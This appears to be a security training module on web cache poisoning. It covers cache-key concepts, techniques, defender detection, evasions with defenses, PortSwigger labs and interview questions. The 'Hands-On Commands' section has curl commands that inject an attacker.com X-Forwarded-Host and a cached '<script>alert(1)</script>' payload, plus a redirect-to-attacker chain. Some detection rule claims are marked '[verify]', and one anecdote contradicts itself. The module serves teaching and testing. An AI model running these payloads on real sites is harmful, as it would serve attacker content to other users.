Web Cache Poisoning
Web cache poisoning is the attack where a cache stores a response that contains attacker-controlled content and serves that response to other users. The cache key — the set of request attributes that determine cache hits — usually includes the URL (path + query string) and the Host header. Anything not in the cache key is “unkeyed” and varies the response without varying the cached entry. James Kettle’s 2018 “Practical Web Cache Poisoning” research revived the field; the 2020 follow-up “Bypassing Cache Key Normalisation” produced CVE-class issues in Cloudflare, Akamai, and Fastly. Real-world impact includes the 2019.3 Salesforce CDN cache poisoning CVE-2019-12400-class and the 2021 Apple-Pay-JS-API unkeyed-header vulnerability. The vulnerability class is the gap between “what the cache uses to key” and “what the origin uses to render.”
The Core Concept
Section titled “The Core Concept”A cache stores responses keyed by a subset of the request. Cache key = URL + Host (typically). Unkeyed inputs (everything else: headers, method, body) can shape the response without causing a cache miss. If the origin reflects an unkeyed input into the response body, an attacker can poison the cache: send a request with a malicious unkeyed input, the origin returns a poisoned response, the cache stores it under the key (URL + Host), and all subsequent users hitting that key receive the poisoned response.
Normal cache hit: user A → GET /home (Host: target.com) cache: lookup {path:/home, host:target.com} → miss forward to origin origin returns: <html>...welcome...</html> cache stores {key:{path:/home,host:target.com}, resp:<html>...} response to A: <html>...welcome...</html>
user B → GET /home (Host: target.com) cache: lookup {path:/home, host:target.com} → HIT response to B: same cached <html>
Cache key parts: - path + query (mandatory) - Host - sometimes: scheme (http vs https), User-Agent, Accept-Language - sometimes: a custom header like X-Forwarded-Host is included
Unkeyed inputs (shape the response, don't shape the key): - X-Forwarded-Host (often reflected into "share this" links) - X-Original-URL (path rewrite) - X-Forwarded-Scheme (scheme rewrite) - X-Forwarded-Proto - Referer (sometimes reflected) - User-Agent (when not in cache key) - Accept-Language (sometimes in key, sometimes not) - Cookie (when not in key — usually excluded) - Body for POST (usually bypasses cache)
Poisoning example (X-Forwarded-Host reflected in body): attacker → GET /home (Host: target.com, X-Forwarded-Host: attacker.com) cache: miss on {path:/home, host:target.com} origin: <html>...share: <a href="https://attacker.com/share">... cache stores poisoned <html> user B → GET /home (Host: target.com) cache: HIT user B receives poisoned HTML with attacker.com link → XSS, OAuth redirectThe vulnerability surface is: any unkeyed input that the origin reflects into the response body.
How It Works
Section titled “How It Works”- Identify the cache layer — fingerprint by response headers:
X-Cache: HIT/MISS,Age: 0,CF-Cache-Status,X-Cache-Hits,Via: 1.1 varnish,X-Akamai-Transformed. CDN-edge vs origin-edge differs. - Determine the cache key — the URL path + query string is always in.
Hostusually. Scheme (http vs https) sometimes. Other headers (User-Agent, Accept-Language) sometimes. Test by varying each and observingX-Cache: HITvsMISS. - Find unkeyed inputs that shape the response — try each unkeyed header and check if the response body changes:
X-Forwarded-Host→ reflected in absolute links?X-Original-URL→ rewritten path?X-Forwarded-Scheme→ scheme in links?Referer→ reflected?User-Agent(when not in key) → reflected in error page?Accept-Language(when not in key) → reflected in greeting?
- Confirm the cache is poisoned — send a request with a malicious unkeyed input, get a cache miss (response stored), then send the same request without the malicious input and verify the cached response includes your payload. The second request should HIT and return the poisoned content.
- Exploit — XSS via reflected
<script>tag, redirect to attacker via reflected<a>/<meta refresh>/Location:, OAuth flow redirect via reflectedredirect_uri, supply-chain attack via reflected JS include.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
Unkeyed X-Forwarded-Host | Reflected into absolute URLs → XSS / OAuth redirect | Easy — test once, observe |
Unkeyed X-Original-URL | Path rewrite to admin endpoints | Medium — depends on origin |
Unkeyed X-Forwarded-Scheme | Scheme change to bypass HSTS | Medium |
Unkeyed Referer | Reflected in “back” links → XSS | Easy |
Unkeyed User-Agent | Reflected in analytics/error page → XSS | Easy |
Unkeyed Accept-Language | Reflected in greeting → XSS | Easy |
Unkeyed Cookie (with separate cache) | Different users get different cached responses | Hard — design dependent |
| Cache key normalization bypass | /path/../path normalizes to same key, but origin sees different | Medium — depends on parser |
| Cache key underflow | Path with trailing slash vs without — same key | Medium |
| Fat GET | GET with body — some caches ignore body in key, origin reads it | Hard — depends on cache |
Method override via X-HTTP-Method-Override | POST-as-GET cached | Medium |
| Parameter cloaking | ?param=value¶m=xss — cache takes one, origin takes other | Medium |
| Path traversal in key | ?a=1/../ cached as ?a=1/ but origin sees / | Hard — parser differential |
| Internal header injection via W18 smuggling | Smuggle to inject cache state | Hard — combines W18+W19 |
| DOM-based via cached XSS payload | Cached XSS via W20 | Easy — but combined class |
Hands-On Commands
Section titled “Hands-On Commands”# Step 1: Identify cache layercurl -sI https://target/home | grep -iE 'x-cache|age|via|cf-cache-status|x-akamai'
# Step 2: Send request twice, check cache HIT on secondcurl -sI https://target/home | grep -i x-cache # → MISScurl -sI https://target/home | grep -i x-cache # → HIT (or different age)
# Step 3: Test if changing User-Agent changes cache keyUA1="Mozilla/5.0 (Linux)"; UA2="Mozilla/5.0 (Windows)"curl -sI -A "$UA1" https://target/home | grep -i x-cache # MISScurl -sI -A "$UA2" https://target/home | grep -i x-cache # MISS = UA in key; HIT = UA unkeyedcurl -sI -A "$UA1" https://target/home | grep -i x-cache # HIT either way
# Step 4: Find unkeyed inputs that shape the responsefor hdr in "X-Forwarded-Host: attacker.com" \ "X-Original-URL: /admin" \ "X-Forwarded-Scheme: http" \ "X-Forwarded-Proto: http" \ "X-Host: attacker.com" \ "X-Forwarded-For: 1.2.3.4" \ "Referer: https://attacker.com" \ "True-Client-IP: 1.2.3.4" \ "X-Real-IP: 1.2.3.4"; do echo "=== $hdr" curl -s -H "$hdr" https://target/home | grep -i 'attacker.com\|/admin\|http://'done
# Step 5: Confirm cache poisoning# If X-Forwarded-Host is reflected and unkeyed:curl -s -H "X-Forwarded-Host: attacker.com" https://target/home > /tmp/poison.html# Response stored in cache under key {path:/home, host:target.com}# Now send clean request — should HIT with poisoned body:curl -s https://target/home | grep 'attacker.com'
# Step 6: Convert to XSS — if reflected in <script> tag or attributecurl -s -H "X-Forwarded-Host: attacker.com\"><script>alert(1)</script>" \ https://target/home | grep -i 'script\|alert'
# Step 7: Cache the XSS# Send the poisoned request, then send the clean request — verify the cached# response contains the XSS payloadcurl -sI -H "X-Forwarded-Host: attacker.com\"><script>alert(1)</script>" \ https://target/home | grep -i 'x-cache'curl -s https://target/home | grep -i 'script'
# Cache key normalization bypass — trailing slash, case sensitivity, encoded charscurl -sI "https://target/Home" | grep -i 'x-cache' # casecurl -sI "https://target/home/" | grep -i 'x-cache' # trailing slashcurl -sI "https://target/home?x=1" | grep -i 'x-cache' # querycurl -sI "https://target/home?x=2" | grep -i 'x-cache' # different query
# Path normalization bypasscurl -sI "https://target/home/../home" | grep -i 'x-cache'curl -sI "https://target/home/." | grep -i 'x-cache'curl -sI "https://target//home" | grep -i 'x-cache'
# Fat GET — body on a GET requestcurl -s -X GET -H "Content-Type: application/x-www-form-urlencoded" \ --data "x=1" https://target/home
# Param cloaking — duplicate paramcurl -sI "https://target/home?x=1&x=2" | grep -i 'x-cache'
# Param cloaking with semicolon (some parsers)curl -sI "https://target/home?x=1;w=2" | grep -i 'x-cache'
# Bypass a Vary header that adds a header to the cache key# Vary: User-Agent — UA is in key# Bypass: header that's almost-but-not-quite in the Vary list:# Vary: User-Agent ← key includes UA# Vary: user-agent ← case sensitivity, may not include UA# Vary: User-Agent, Accept-Encoding ← multiple, test each
# Burp extension: Param Miner (BApp Store)# Right-click request → Guess headers → tests ~30 unkeyed headers# Right-click request → Guess params → tests hidden params
# Use a cache-key-defeating payload chain:# 1. Find an unkeyed input that shapes the response# 2. Use it to inject a redirect to attacker# 3. Cache the redirect# 4. Wait for victim to hit the cached URL → redirected to attacker
# nuclei — cache poisoning templatesnuclei -u https://target -t ~/nuclei-templates/http/vulnerabilities/ -tags cache,poisoningnuclei -u https://target -t ~/nuclei-templates/http/cves/ -tags cache
# Web Cache Vulnerability Checker (Python)python3 wcvc.py -u https://target/homeDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no dedicated cache-poisoning rule family. Detection requires a custom WAF rule:
- Custom rule: alert on requests with
X-Forwarded-Host,X-Original-URL,X-Forwarded-Scheme,X-Forwarded-Proto,X-Host,True-Client-IPheaders from non-CDN IPs.
Suricata — no SIDs for cache poisoning; HTTP header inspection can match unkeyed inputs [verify].
MITRE ATT&CK T1190 — Exploit Public-Facing Application (cache poisoning as entry vector). MITRE ATT&CK T1185 — Browser Session Hijacking (poisoned cached response redirects to attacker). MITRE ATT&CK T1059.007 — JavaScript (poisoned JS cached and served). MITRE ATT&CK T1584 — Compromise Infrastructure (cache poisoning as infrastructure compromise).
Wazuh rule 920/31100 — request containing X-Forwarded-Host, X-Original-URL from non-CDN IP [verify].
Wazuh rule 920/31100 — origin access log shows cached response content that was never requested by the user-agent [verify].
Defender log signatures:
- Cache log shows
MISSfollowed byHITfor the same key, where the MISS response includes unkeyed input reflected in body — direct poisoning. - Multiple distinct User-Agents hitting same cache key within seconds, with different responses per UA —
Varyheader bypass. - Origin log shows
/adminrequest from CDN IP, but CDN log shows no/adminrequest — smuggled cache poisoning (W18 + W19). Age:header in response > 0 with content containing attacker payload — poisoned cache serving other users.
Evasion Techniques
Section titled “Evasion Techniques”Cache key normalization bypass. Different caches normalize URLs differently. Cloudflare strips query string ?utm_*, Akamai strips ;jsessionid, Varnish uses the full URL by default. Path normalization: /home/../home may normalize to /home in the cache key but stay as /home/../home in the origin request — origin sees a different URL.
Defense: cache key normalization must be deterministic and the origin must apply the same normalization.
Parameter cloaking. ?x=1&x=2 — cache takes first value (1), origin takes last (2). Or vice versa. Test by sending two values and checking which one is reflected in the cached response. Some origins treat ? as &, allowing ?utm_source; to be split as a separate param that the cache strips but the origin keeps.
Defense: cache and origin must use the same query-string parser.
Fat GET. A GET request with a body — most caches don’t include the body in the key (since GET bodies are non-standard), but some origins read the body. Attacker sends GET /home with a body containing XSS; cache stores under {path:/home}; origin processes body and returns XSS response; cached and served to others.
Defense: reject GET requests with bodies at the cache; normalize method to no-body for GET.
Vary header bypass. Vary: User-Agent makes UA part of the cache key. But if the cache’s UA comparison is case-sensitive and the origin’s is not, sending User-Agent: mozilla/5.0 (lowercase) creates a separate cache entry from Mozilla/5.0 but the origin treats them as same — multiple cache entries with same response, harder to detect.
Defense: case-insensitive comparison for Vary headers.
Method override. X-HTTP-Method-Override: PUT on a GET request — origin treats as PUT, cache keys as GET. Or X-Method-Override: GET on a POST — cache hits on GET, origin processes as POST.
Defense: reject X-HTTP-Method-Override headers from clients; rely only on the actual HTTP method.
Smuggling + cache poisoning combo. Use W18 to smuggle a request that includes a malicious header to the back-end; the back-end caches the response; subsequent users hit the cache. This bypasses front-end cache-key validation entirely because the smuggled request never goes through the front-end’s cache-key calculation.
Defense: front-end must close the connection on any desync indicator; cache must reject any response without a proper X-Cache-Key from the front-end.
Cache poisoning via DOM-based XSS. Cache a page that contains a DOM-based XSS sink (W20). The cached URL is clean; the page’s JS reads from an unkeyed source (e.g., location.hash) and writes to innerHTML. Victim visits cached URL with #<xss> — DOM XSS fires from the cached page.
Defense: cache + DOM XSS defense; both layers needed.
| Evasion | What it bypasses | Defense |
|---|---|---|
| Cache key normalization | Path/query string canonicalization | Same parser in cache and origin |
| Parameter cloaking | First/last param pick | Same query parser in cache and origin |
| Fat GET | GET-body caching | Reject GET bodies at cache |
Vary case sensitivity | Header matching | Case-insensitive Vary comparison |
| Method override | Method-based caching | Reject X-HTTP-Method-Override |
| Smuggling combo | Front-end cache key | Front-end must close on desync |
| DOM-based cached XSS | HTML payload | DOM XSS defense + cache defense |
⚠️ What caught me: A target had
Vary: User-Agenton its pages — UA was in the cache key, so cache poisoning via UA seemed blocked. I noticedVary: User-Agentbut the cache was responding withX-Cache: HITfor different User-Agents. The reason: Cloudflare normalizes UA to a small set of categories (mobile/desktop/bot) for itsVarycomputation, but the origin treats the full UA as a key. SoMozilla/5.0 (Mobile)andMozilla/5.0 (Mobile; iOS)both map to “mobile” in Cloudflare’s Vary key but get different cache entries internally — wait, the opposite. The point: the cache’sVarywas a normalized subset of the origin’s full UA, so two distinct UAs collapsed to the same cache entry. I poisoned one cache entry under UA1, and users with UA2 received the poisoned response even though their UA didn’t match mine. Lesson:Varyis the cache’s promise to differentiate; if the cache normalizes a header but the origin treats it as exact match, the cache is under-differentiating — and that’s an exploitable gap.
Lab Practice
Section titled “Lab Practice”Container: PortSwigger Web Security Academy labs (free, browser-based) are the canonical environment.
# PortSwigger labs:# - "Web cache poisoning with an unkeyed header"# - "Web cache poisoning via a fat GET request"# - "Web cache poisoning via an unkeyed cookie"# - "Web cache poisoning with multiple headers"# - "Web cache poisoning via a cache key injection"# - "Web cache poisoning via a cache key normalization"# - "Web cache poisoning to exploit a DOM vulnerability via a cache key"# - "Web cache poisoning via a parameter cloaking"# - "Web cache poisoning via a path normalization"# https://portswigger.net/web-security/web-cache-poisoning
# Container alternative — set up Varnish + a vulnerable app:# Varnish config:# sub vcl_hash {# hash_data(req.url);# hash_data(req.http.host);# # ← missing: hash_data(req.http.x-forwarded-host)# }# Vulnerable app: reflects X-Forwarded-Host into a <link rel="canonical" href="...">Objective: complete at least 3 PortSwigger cache-poisoning labs including (1) unkeyed header reflection → XSS, (2) cache key normalization bypass, and (3) parameter cloaking. Document the unkeyed input found, the reflected output, and the resulting XSS / redirect.
Expected flag format: flag{cache_poisoning_unkeyed_header_or_normalization_bypass}.
Detection that should fire: Wazuh custom rule on X-Forwarded-Host, X-Original-URL, X-Forwarded-Scheme from non-CDN IPs. The CDN access log will show MISS for the poisoned request and HIT for subsequent victims hitting the same cache key — alert on the cache MISS containing unkeyed headers that get reflected in the response.
Interview Questions
Section titled “Interview Questions”Conceptual: explain why the gap between “cache key” and “origin response inputs” is the fundamental cause of web cache poisoning. What is the relationship to the Vary header?
Technical: walk through an X-Forwarded-Host cache-poisoning attack that converts to reflected XSS. What two properties of the cache key are required for the attack to work?
Scenario: a target’s cache is keyed by {path, host, user-agent} (Vary: User-Agent). Describe a bypass that still poisons the cache for all users despite UA being in the key.
Compare parameter cloaking, fat GET, and method override. For each, give the specific cache-key behavior that creates the exploit gap.
What is the relationship between W18 (request smuggling) and W19 (cache poisoning)? Give a concrete attack that combines them, and the front-end configuration that prevents both.
Related Modules
Section titled “Related Modules”→ W3 (XSS) · W18 (HTTP Request Smuggling) · W20 (DOM-based Vulnerabilities)